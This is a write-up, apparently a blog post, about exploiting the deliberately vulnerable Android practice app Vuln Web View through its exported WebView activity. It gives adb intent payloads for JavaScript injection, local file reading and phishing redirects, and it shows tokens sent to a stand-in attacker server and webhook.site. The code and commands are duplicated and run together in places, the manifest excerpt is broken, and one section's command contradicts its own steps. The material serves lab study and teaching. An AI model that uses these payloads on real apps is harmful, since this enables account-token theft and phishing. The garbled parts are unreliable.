November 27, 2026
Write-up (The Report Application Vuln Web View )
Application Overview :
By Moamen Kotb
5 min read
Application Overview :
- Name : Vuln Web View
- Package Name : com.tmh.vulnwebview
- Tool Used : Jadx-gui , Apk tool
2. Reconnaissance :
I found setJavaScriptEnabled(true) , and setAllowUniversalAccessFromFileURLs(true)
This is a slice from a file with the code. AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="28"
android:compileSdkVersionCodename="9"
package="com.tmh.vulnwebview"
platformBuildVersionCode="28"
platformBuildVersionName="9">
<uses-sdk<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="28"
android:compileSdkVersionCodename="9"
package="com.tmh.vulnwebview"
platformBuildVersionCode="28"
platformBuildVersionName="9">
<uses-sdkExploiting the first vulnerability :
1. Client-Side Cross-Site Scripting (XSS) via Intent Redirection
A. Description
An activity called (SupportWebView) suffers from a security vulnerability because it is "exported" in the manifest file, allowing external applications to send it intents. The application receives a parameter called (support_url) and passes it directly to the WebView's (loadUrl) function without any sanitization or protocol checks.
B. Static Analysis
As seen in the provided source code for SupportWebView.java:
public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
} public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}The activity is also marked as android:exported="true" in the AndroidManifest.xml, making it accessible to any other application on the device or via ADB commands.
C. Proof of Concept (PoC)
Using the ADB (Android Debug Bridge) , the following command was executed to trigger the vulnerability:
Command:
am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "javascript:alert(1111);"am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "javascript:alert(1111);"
Result: The application successfully processed the Intent and executed the JavaScript code, resulting in a popup alert displaying "1111" within the application UI.
Exploiting the Second vulnerability :
2.Local File Read (LFI)
A. Description
The application VulnWebView is vulnerable to Local File Inclusion (LFI). Due to insecure WebView settings and exported activities, an attacker or a malicious application on the same device can force the app to load and display the contents of sensitive local files stored on the device's storage.ks.
B. Static Analysis
In the AndroidManifest.xml, the application defines the following permission: <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
The activity is also marked as android:exported="true" in the AndroidManifest.xml, making it accessible to any other application on the device or via ADB commands.
C. Proof of Concept (PoC)
As demonstrated in image the attack was executed via ADB to read a file from the SD card:
Command:
am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "file:///sdcard/helo.txt"am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "file:///sdcard/helo.txt"
Result: Observation: The application opened the SupportWebView and rendered the plain text content of the local file directly on the screen.
Exploiting The Third Vulnerability :
3.Vulnerability Report: Intent Redirection & Web Phishing
A. Description
The application VulnWebView is vulnerable to Intent Redirection, which leads to an Open Redirect flaw. An attacker can force the application to load any arbitrary external website (such as a phishing page) within the app's trusted internal WebView. This can be used to steal user credentials by mimicking a legitimate login provider.
B. Static Analysis
As shown in the provided source code for SupportWebView.java:
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);Because android:exported="true" is set in the Manifest, any third-party app on the device can trigger this activity and dictate which website the user sees.
C. Proof of Concept (PoC)
In the image provided, the attack was performed using the following ADB
Command:
am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "https://facebook.com"am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "https://facebook.com"
Result: The application immediately opened the "Support" screen and rendered the Facebook Login Page instead of internal support content. To a regular user, this looks like the application is officially asking for Facebook credentials, making a phishing attack highly effective.
Exploiting The Fourth Vulnerability :
4.Sensitive Information Leakage (Authorization Token)
A. Description
The application VulnWebView suffers from a critical information disclosure vulnerability. The application automatically attaches a sensitive Authorization Token (UUID) to the HTTP headers of any URL loaded via the SupportWebView activity. Since the URL can be controlled by an external Intent, an attacker can leak this token to a malicious server.
B. Static Analysis (Vulnerable Code)
The vulnerability is located in the loadWebView() method of the SupportWebView.java class.
Vulnerable Snippet:
public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}The Flaw: The code uses extraHeaders to send a private token to whatever URL is provided in the support_url string. Because there is no "Whitelist" (checking if the URL belongs to myapp.com), the token is leaked to any third-party domain
C. Proof of Concept (PoC)
To exploit this, we use an ADB command to force the application to load an attacker-controlled server:
Step 1: Execute the attack via Terminal
adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "https://attacker-server.com"adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "https://attacker-server.com"Step 2: Intercept the Request When the application opens, it attempts to connect to attacker-server.com. If the attacker monitors their server logs (using a tool like Burp Suite or RequestBin), they will see the following incoming HTTP Request:
GET / HTTP/1.1
Host: attacker-server.com
User-Agent: Mozilla/5.0 (Linux; Android 9; NoxPlayer)
Authorization: 550e8400-e29b-41d4-a716-446655440000 <-- STOLEN TOKENGET / HTTP/1.1
Host: attacker-server.com
User-Agent: Mozilla/5.0 (Linux; Android 9; NoxPlayer)
Authorization: 550e8400-e29b-41d4-a716-446655440000 <-- STOLEN TOKEN
Result:Successful Redirection: The application successfully redirected the WebView to the malicious domain.
- Information Disclosure: The sensitive
Authorizationtoken was successfully transmitted to the external server. - Impact: An attacker can now use this stolen token to impersonate the user and perform unauthorized API requests or take over the user's account.
cExploiting The Fifth Vulnerability :
5. Client-Side Cross-Site Scripting (XSS) via Intent Redirection
A. Description
This vulnerability allows an attacker to bypass the application's sandbox and leak sensitive internal information to an external server. By exploiting an exported WebView activity that attaches sensitive headers to every outgoing request, an attacker can capture the user's session tokens or authorization keys.
B. Static Analysis (Vulnerable Code)
In SupportWebView.java, the following logic is responsible for the leak:
public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}The lack of URL Validation (checking if the URL is trusted) allows the application to send private headers to any third-party domain provided by an attacker.
C. Proof of Concept (PoC)
- Attacker Setup: The attacker uses a service like
Webhook.siteto generate a unique monitoring URL (e.g.,[https://webhook.site/19d271f1...](https://webhook.site/19d271f1...).))..) - Intent Injection: The attacker triggers the vulnerable activity using ADB or a malicious app, passing the Webhook URL as the
support_urlextra:
Command:
am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "file:///sdcard/payload.html"am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "file:///sdcard/payload.html"- Data Capture: The application opens the URL and automatically attaches the
Authorizationheader to the request.
- Result: As shown in the screenshot (image_08f0de.png), the
Webhook.sitedashboard captures the incoming request. The attacker can now see the IP address, User-Agent, and most importantly, the Authorization Token (located in the Headers section).
Exploiting The sixth Vulnerability :
6. JavaScript Interface Injection & Data Theft
A. Description
The application VulnWebView exposes a sensitive Java object to the WebView environment using the addJavascriptInterface method. This creates a "bridge" between the web context (JavaScript) and the native Android context (Java). By exploiting the Intent Redirection vulnerability discovered earlier, an attacker can inject malicious JavaScript to call native methods and extract sensitive user data, such as authorization tokens.
B. Static Analysis (Vulnerable Code)
In the SupportWebView.java file, the following code initializes the insecure bridge:
@JavascriptInterface
public String getUserToken() {
return SupportWebView.getUserToken();@JavascriptInterface
public String getUserToken() {
return SupportWebView.getUserToken();The WebAppInterface class contains a method getUserToken() which returns the user's secret UUID. Because JavaScript is enabled and the activity is exported, any external input can trigger this method.
C. Proof of Concept (PoC)
- As demonstrated in the provided screenshot (image_0779b3.png), the attack was executed via ADB to extract the secret token directly onto the screen.
Command:
am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "javascript:Android.getUserToken()"am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "javascript:Android.getUserToken()"
- Result: Target:
com.tmh.vulnwebview.SupportWebView - Extracted Data:
6c1ad6f9-10af-4058-b70a-3967989f612b(User Session Token). - Impact: Critical. An attacker can steal the user's identity token without needing root access or physical contact, simply by tricking the user into clicking a link or using a malicious app on the same device